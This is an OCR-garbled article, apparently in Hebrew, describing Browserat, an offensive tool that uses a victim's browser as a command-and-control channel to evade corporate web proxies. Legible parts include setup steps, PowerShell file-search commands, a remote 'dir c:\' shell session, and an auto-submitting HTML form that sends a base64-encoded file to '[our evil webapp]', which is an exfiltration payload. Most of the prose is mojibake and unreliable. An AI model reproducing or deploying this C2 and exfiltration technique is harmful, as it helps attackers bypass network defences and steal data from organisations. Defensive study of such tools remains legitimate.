nwna o'wnnwnn (AN IX) 777 7907 NRT 702 X LIA'K NVAKYT N2 D7 N0'™SN DI NNy
,MIA0 TINA NWA 7V NYX2 MWK NPT NNA0N] .IQTAY DMOYN D'NI7'RN 7722 1j7'va ,01NVIRY
D'T7A YT PIRT IR PIN ,00N01'K7 DY DY INW'?D [9TOTI TIRP NXP NIYYARIY NDINY IN7¥N
IN DY ,HTTP Web Proxy 7¥ nnarTd 7y NdDNNONY NINYII NIMAMY NIDIYNA 7In0N VI7YW? "D

QN '

X7 N2VIN DT INKNM YIN'Y 1D QWYY TIRN

https://github.com/Dor-Tumarkin/Browserat

yn

NI NMNATTI9E NIZDOXK AW .NNIRARD YN N1 [IWRIN 2A7Un KIn NNVAIRKA DY QIN'Y
NNX ,D'UNNUn NINYNA ."nuta 270 727 o'xknn nixn ex"e L"nanian nixnn X0 "y
VNVI'RT? MY 'YNNWNT 7907 [1A'R 112V NIAdTIM D'DOT NIMUPY XD NIXID INIF NINAYTI9oN
™17 DT YPRNNY 010 X7 TV XIN [2'RYT QTIN YaIsl nT'Navy i "ninoa non™ [nw

21 AINKRY MY NN 2101 2 72K ,]1I20'KRT [YAI9N NNYTNA PIOY] K7 71NN N0™MY TWONT71I N

AR IN2 D'YUNNYN DY 7Y NIRZ'0RID 72V N WK N7 TIND NINID ANd N1 A7 IR
NIVXANI NN"AN NITN YPNNYT 70' 1'R NX7 DTV [7NINN [VAID - ON0YIR7? MY DY |'R e
|2 11D .0V 7R NYWINNA KXI'Y VIO 'R NI'7'2021 MW HTTP/S N 'R .INW'70 'w 11arn

21N DNS 'R

D'YNNYN 02N DIAR .0NVIKT7 DY Y wnwnn YN M2 1InW'?D Web Proxy 1w e
0VINVI'R? NYA DY NTI MIDAN [9TOT 0'YAINN ,72'NN0 NIINND 7V 1007 ' ITh NWAa
.0'ynnwun?

NNO'0l WNNWN DV '7y1 DI'NY D'UYNNWAL ,NIND X7 '07N9N - NINTIN 1¥n Web Proxy-n e

.2 wnnwn'7 0™ DI'R
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NNIMY NI2NA 2'X 'OZN9N NNTAN - N'UNIVIN N'WUY1 NNDNA K7 Web Proxy-n 7m ninTman e
2N N'YAY7 NN'ON .VNVI'RY NYAN DY N'ONIVIX NINTTN N'YWYI NNDNA X7 Windows 1M
DX |'27 ,Windows NINTAN 70T DX 1) LINVI'K7 YA [DTOTN 1AW [DIX? ['VITNYT 'VONAX NI'NY

(ui'zn'? AnX ‘0PN N T

T¥'D ,Browserat NIY¥NXA ,NI1 JUNNA NI NAIOA NIR'ORION [71D 17RY ]2 ,[VI0 K7 X

X2"I0 N'o9N Y NIYY NN iy N

Victim Computer

Unknown [ _,I+J

Proxy

Organization Perimeter

Internet

[Browserat niyxnxa nopnn7 ny'ao nwn 7w 771 n'wan]

7ANND

NY XD ITN NYIN DX 17'9X ,NXINN DM'Y' 0NIA'NY7 12700 NNIno |PXY NN nW? XY D oIy

D'TANNI DT D' DA NYYNn? D70 7aK ,21mmoa DN ot 1w ni? Y .o'wnnwn
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NIYNIN IA'NN DX NNTZIX X7 DIYAID DY A1'W'D N9ZNN 1AW Npna 'M7pN1 NN 0wy
NP1 7"30 ninNnE NN NRT DY JNIAI0E DI9pN NITIVN oy HTTPS uiwo I DNS niy¥xnxa

00T NNAY W7 17N N TV L1TAY K7 NN ANNNY TIR XNl

12'7v - "nRY7 NS MY Inwn 01artnl roI7N? 0Ny NIX TV DY KD N1aNn 1T 7w 19102
AWONYT O ,INK IX DT [DIXA TAINY [9TOT X'NIL1IT7 NMINIY D'YTIY NNIXY NN 7V nnony
ATAI'Y DX A¥N NI 72K ,N¥7 2¥N N9 DNIRNA INIX DIAXR NINT 13Ny Web Proxy 10T nw'a
ITN NNA'TION NIX QIV7 NY7¥1 DX P71 ,0'WNNWN DIXI NNVAKR DX 7V NIYY "Nalv np'o9™
nwa" IX "nY7IN" TR K71 ,NNXY NNATI9] X' NWANY NI LAY N NIYRIIN DNTan

LNNYRD IR NN 21DTY OV DON9Y7 NIY "NNTan

NIXRN7 T

[9TOT D"PY [NINA - D''PN AXNN NIYXNNA VTN 7w DA77 NDIN NI017 AN DN [IWRIN 27wn
[XD MIAXINY NIKNAITA X Firefox [9T9T2 N2ITAW N1 AR7NT KON .01NVI'R? NANNNY 7a10NY

.(QUNN2A NX™M |ITX) D'INK D19TOT V1AV NI9PN

N9PNINN NDIWNNN PIN 21w ,BAT-1 qioyw Powershell-a viwo "5 'mand ,vTmn ata? 7ava
NNAIT?) "Inn [9TOT? 2'MIN DX KIXN7 Y7XR' 700 7D 0TI [9TOT NIWXNXKA NXINN INIX qINT'
NIX 70 MWW yaly "NRYI DY '97 0¥ UONYT? XNAIT? ,2'7Tn'7 D'y yaip N7 (firefox.exe
Get- NTIP9 NIY¥NXA NIY¥AXRY 1780 NI7IW9N NX yxa% 77 Powershell-a .password n'7'n

:Childltem

Get-ChildItem -Path C:\ -Filter [filename] -Recurse

‘DX NIYXNXD D DA, NN NITSNn y1mn ni7T? 11'on ,9012
"N>NN Unnwnn 7 nniv NIXNpI NDIY NIRYAN Y1I|7'7 0'9TN7 e

INNAIT? ,0'¥apN DDA 7Y YT yar? 0'oth e

‘ dir c:\

"D base64-7 DNIX 1'ayn ,(TAX TNX) DIDIN NX K7 RN L,2"I0 0¥Apn 75 DR QOIR TIPNY INX7
yxanw | %temp%\a.html-> mMnw mix ,HTML yalp N7 onixk anni "ow)" ooran vainn?
UMD NY YW IR0 winm 70nw) 17w Nk POST 10N19) Yaizn 7w N'unIvIk NN'YY

:(yar?? POST
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<form action=[our evil webapp] enctype="multipart/form-data" method=POST
id=myForm >

<input name=filedata type=text value=[file to b64] />
</form>

<script>
document.getElementById ("myForm") .submit () ;
</script>

DTN INN'RY ORI9IND YAIa WIN'Y T 7y Xy [9T9TA NUNNWYN VTN DX NI7YY 1D 91017

ne

SpathToFirefox $temp%\a.html

XY qTAILININ NNID ,0INAIND NNANDY qT7 MIPRN URL-N DX 7270 [9TOTH ,NINNKD NTIROA
A7 ITANY YTIRN DIX NKNA LYY YAl - 02T W 19102 .110A0 Yalpn 7w 'onivix submit y¥an
qQnITI Yalzn DX NNID [9T9TN 910271 ,INXY NN VNaoNw HTML yalz JIMY 10N19> yT'nn DX AN

22X NOTN VTN DX

T XN ('UINVI'KR IR MNIEA) W ITNRIDTOTN 7W NXINN YaIR - 710 RPN DIRY ['¥7 'K
Dx¥Y2 N9 .Edge-1 Explorer ,Chrome m> ,0"NX D19T9T 11AY DA TAIY N2TAY D ,NMa n'on!
[9TOTN 2V 2077" ,NNVIT'R VYN NIXA 71D Y Tipn pY ,nntion "nwn" nianann nngp

271270 "nxinn

AN DLW R'IEL,NND N7ITA DD NVNN 7K ,NTANY X' VTN DA W NIdNAn nndin
Unnwn 220 .|9TOT NIY¥AXKA NXIND YYPNNY "D - Browserat NN 'MAND D OWY7 .pINNN
RIN TANN - D2 Y7 Wpnnn 97912 Web 9T nnmo My jro17n7 n'0TI0o HTTP nmiiwpna
Nt 912 .0S NITIRS N¥INY '0'01 22 (117 ,NND NI Wl L,N7¢ 2ITTA MNwN 1Y% ,nxINn
YT 7V NOOIAN NI'NI 'UI7NT M1 K'Y NIIXA ,N7U9NN NDIYNYT 21X NN MY 2 NNIYRPN NOXi

.'IDI NIANA NIKNO'0 ,OTIR
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Browserat 7w n'nivaxn

:0'2'1 NYIhwn ' Browserat

INIX YNNI ,C 09 72 WK 'ign HTTP My - nmina NdIynNa NITIpS DX DY e
-1 2N MR .nwpan 7w (Response) Naiana nin 0S-n NTIpS 7w 0790 .0S NI

M NP'71 7" nwin n1ad 1210w T7win .BAT-1 quwal Powershell

https://gist.github.com/wagnerandrade/5424431

.(Python Flask-7 andiw 22X ,PHP-2 N2 I7naw) pninn HTTP MW - NITIES Np91a DY e

Y .12T 7W 19100 NXINN 7Y 010790 D'N7WI I'7R1,NXINY DIYTN DNITIRO NIDWNY AT NNwn
J-Webn homnn XInw ,'w7wn 210 NN [9T9T7 wian Da Nt

DV WWPN7 12 Javascript-2 wnnwn YWX ,Web T nwyn? XIn N1 200 - '-Web tonn a1 e

2TNNL L NITIPON DX YNNY Mignn N7 0797 'nani NITpon DR 750Ny ,YINQY NIYn
079N NX

Browserat
Batch File
Starts Client
& Browser

[

@

-

2

£ Browserat Client 000 Page 1 OOO|

8 Started web-server on localhese:58339 r

3 waiting for request... http://[Browserat server]/control/ E

s o

> 3
@
=

Unknown
Proxy

Organization Perimeter

Index

Internet ]
i Browser Traffic

Browserat Action

[Browserat-7 n'v1mvo nwia Yw 0'wn]
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Naon

U' DRN pPTAY ,(Browser-1) "onnn T .pnnnn Nwn 7w CLI-A nwTn nTipes T7m qpin .1
NTIPON DX (WIN LAJAX NUPA NIYYXAX] NIY-"7'0 NNd 7D D'Ta NIYYNRA AWTN NTIR9
NUTNN

,AXINT MIPNN NIY7 ANIK yn - X7 X'0DENTNAL DR DR NTIR9NY XTI Yonnn 9T .2
M Llocalhost-7 NNwW1 nWpaNI PNNNN MW KIN TN MR INRNA L AJAX W NIvYNNa
.NYPAN X YNy CORS-1 wnnwn ignin Web-n
AN XTI 72PY DTN DX YN MIEan Nwn

AJAX MIyxnxa N0 0790 DR 9Nl MmMipnn Web-n nwn nannn nX 7apn onnn T 4
9pPimn ¥ zninnn Web-n nwy

ANIX 0'9TNI V79N NX 72N pninnn Web-nnw .5

X0 shell-7 NIt nrn'? DMK 2¥nN MM LqPINN N1'NAN
BRAT> dir c:\
BRAT> dir c:\

Volume in drive C is 0S
Volume Serial Number is 14B2-0EC7

Directory of c:\

13/11/2016 18:57 <DIR> Program Files
16/11/2016 :46 <DIR> Program Files (x86)
01/10/2016 124 <DIR> Temp
02/10/2016 :39 <DIR> Users
16/11/2016 :45 <DIR> Windows

0 File(s) 0 bytes

Browserat 1¥ Ti7n
22 RXNMMNIY TN

https://github.com/Dor-Tumarkin/Browserat

PNNNN DY NNIZAN N0 .MIZA NNY 1NNV XY ,NIR'7A1 7RiNN NNwN 101N Browserat
NNDIN N2 NKY1E AT 7Y 19102 72K ,NN'NN NIDNN NNDINY yan? 'awa Python-1 PHP-1 anda
,NI'0'02 N"MIVO'N 7Y 1'X'D MDOIN IT NNW NOY'A7 .Python Flask 7y 101 TIAYY7 |'0I7N7 AaNdIW TIpN
qTl ,Powershell-a wninn Browserat 7w NIp'7n .'ipn DB M2 ITVIN' 1WYIY NI7IVon 7w D
NONAN ,AIMdWNN RXI' V19D .jQuery DY Javascript-2 wninn MWL NIRn |2 Wwany 1onnn

STIYI DR 7V UXRN X100 271, NI T AT DIN9N NNINI NANDIVAN
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Browserat-2 win'v

NINQN NI71IVON NN Yy¥27 1Y ,Browserat NX YN 7\awa

:C&C nwva

:NIYXNXA NI'IXIN NINO0N DX PN =

pip install -r requirements.txt

NNIX2 NRX¥N1 static n"%0n N¥INN Nvaw 17 o'w? a1wn .Browserat.py NX yn7? =
.Browserat.py DY TN' N"190N

:browserat_client.bat yaIza ,nopnimn nd>yna

TVIMN MWD NAINDY yax'w 12 ScontrollerUrl 1un19a IP-n NAIMD NX niwY? =

NIX WON'W D TIPN NX 9'7nnY7 IX ,Sbrowser_path 10N191 [9T9Th 7w DIP'AN DX NWY? =
(firefox.exe X YNXR'W ,NNAIT?) 'IXIN YaIZN

browserat_client.bat nx ynn% =

NINY |9IN2 ,[9TOTN T ,D'¥A7N NdWNY? NWa? 11710 WATIN Tyn DY NN9Y [9T9TN ,N9I¥ND

JWN nan Y "nn?-1 "Rt proin vin na

ni7n'1 ni7aan

NMYN NX Unny NIva IX MR 72X ,Wa70 7271 Windows Nidayn No'pn? Tvim *2n
17y - 72T 2¥ 19102 .Python IX Bash-1 21m>% %7 2nir nann Powershell-a 'Mandw mipnn
base64-7 T7aN7 ,yn7 ,base64-n NATN INIX T72X7 ,POST NW{722 ¥'AaNYW ¢ 10NTD NX 10197
.HTTP-n maan q1a7 10'9T171 099N NX

LNKR QM7 NIRT NNRYY 777 .nwizin nxdn 2'ma oy ,Firefox Dy TIayY? (11on nig7n 72w Tign yad
Ta1yd 121 .CLI 7w vINIRd URL 7277 72100 XIN T 75 ,QN'N2Y7 [9T9T woN? "1 17'9X IX
.Chrome, Edge, Internet Explorer ny

11 VOV base64-1 1Ay YTNN 721 ,HTTPS-2 wnnwn 11'X "720 yad

-1 NIAIMD) y¥an 9pInnY NI7Ivon NX NIKY7 N1 ,debug nNoun? axm 97197 170 Yad
29 TIpn YN <# #> nan non My 9191 YW 17NN DX 'non? N NRT Dy .(base64
NINT? wnnwn ¢ nT'N'D TN AN I7na (979 TN DX 7'won7 a1 L,(BAT-n yala) nigin

.0'¥7N 0'00NSN NN'YN NIn NV |I'7I'I oY
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D'0"aN NX Y'on VIYS Nwn L,(\x00) v'a-71 0'o'oIMY DN Unicode-7 ASCII mayn 7722 e
VA1) .N0I' D'N'0'A7 D'0M-7 DAY 11PN "IN DIN 7Y TN WawT 700 AT L1 [yn'? 17RD
ASCII-2 1980 NI71>' D'ATNY KIN "700 7w Ty Q-
T¥] yaI7n 7@ N20N NIYXANRA 700 OY DN 0% TN NIRT 722 [N ,NNRT DY... ®
D'0"2-710 NNONI NOOIN XY TTIPNAN YaIR? type TXI ,certutil DY base64-7 qpnmn
AXINN X DITN 7272, TIR'T Y¥IN'Y YA .NTZAIRNAN N0 AN 7V 1wy NIXNY NTNNNNN
2MTAN RN

:NNAN Powershell-n NTI7oa wnnwn? N1 =

Get-Content [filename]) [x .. VY]

IR NI72aN IR Timeouts-n Yyann? 71, Yalm nimtion NNIY 727 1
Timeout-7 DNA7 DMWY 'TA D'™ITA D'OYD e

qIN7 V79N NX NI9N7I YN Y¥AT7 TV - D'¥APN NDIYNI 0'WIS'N NXNAIT NIDNX NI7IYS e

.Timeout-n yannY "1 type NIYXNNA YAl NX 0'9TAY? TNI YAl

Browserat 20" MIN'X

NIY¥NX] NIV YT'AN Ya1d .NIAYN 1101 NIYYARA Y7220 DX INK7 0T W' OX 19101 ,Va0d
,['017N7 N'NTIVO HTTP NIIAYN KIN IRWN 7D - NMUN'O |9XI' K7W N2'0 DIY 'R 72N ,base64
NINN7 NMIpn YD DNTMINg 727 70' XN DAY ,NYRan 7Y Ty T2 7 DIwya? 1 ol
,Web mv n'imw TNR N'9'¥90I ,Powershell 0970 NXINA |"SIXN NIITTN NIANINNN ,NX7N
NNLVAX XN NNANY 1197 220 DX MNR'Y T [I'9X7 110 X7 7aX L,V X7 7'019 NN niriwy

NN DX 1192 N1A0NT INIK |'""OXN "My

NivonN niavnn

HTTP Tunnel-7 INIX 1907 TWONY |'"ANN "IX QNI ATA 220 NN NNS7 NNY "N AT NIk NN
*T> Powershell niyxnxa 71 C# N¥IN 7¢ Njp'd02 WNNWN? '"M70NNN NINNKY? .|yl 12T 7227 Xn
"0 NX AW P27 'mawni Powershell 7w 0'09"Mp0oY7 .NET-2 Nn"pw NI'Aryo mn 9'oinY?
NIY¥NKXA Tunnel-7 MIX 19071 ,nTh
079 X'XIN 'NDNN "DNY 19D NNIX vl YA 7apnw ,Web Proxy wnn? ' C#1 win'w e
,0'¥191 Malwares ' 722 wim'yw TWOKR' 72T 7AN ,WTN 'V K7 AT HTTP over HTTP

J1'T2 N7TN DNIR T NXRY? 712 ,'07N9 NINTAN WNNWN? D'71D'Y N7XD N'O'X'90
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D1 ,VuTNn navn? Websockets wnn? 1> 1w T¥n Python Flask-aI TAX T¥n C#1 win'y e

WUTN YT' W'Yd JWIni NMYN NIX DAITY AJAX DI7na N9'NTA YT vnY

nid'o

,MPTN NINTTN DY 17'9N1 ' TIV! 'OpINS T I7'9x ,01N0VIX7 wNNWN 7¢ nYaY NN Browerat

.NYUNNYT T2 0TIR VT NdMI¥A N1'RI ND'PN VIINYT T2 0T NZTh NNA'TID NN

IR, NIRD NYIN NN 2IN0N D07 IR NAYT yint 0oy DR L0717 0LV ,010 DN
790 |'N .L1NVI'RT? NWA7 Web Proxy-2 win'y ¢ ITN NINWOXA NN2Y PN - 1Yn?7 NN OX
NIDWN? NMINK NDWNA [9T9T DNTA? D 7210 'MN'Ya wnnwn? 1N 9-Ty  IXD NTNay
AWON TIV 72 ,INK IX AT NN'W 7Y 2017 NNWORNY NTAIY - NINT DY .NNIAA NNVAX NIDA0]
Anything over 7w nwnI - TINN N1"YN XD AR N7 AUTN? 7O ,00N XNP7 DR DIWAY

Anything

2INDY7 [N OX YX¥27 [N NN DKM DNATR ITY 10N ,NN'YY N2'NAN N1Myn P It D700 NnaTn
DNN NIYNANA 71010 1Y DY NNYRNNY NI9PNN 7 NINATN QW' LINW'7D 7'9X1 nXINN XNjRYI
7ava 7'M'R MN'YA NIYNNWNY IR ,Google Doc NNAIT? L,PIN NP2 QIpy? 1> D™M71919
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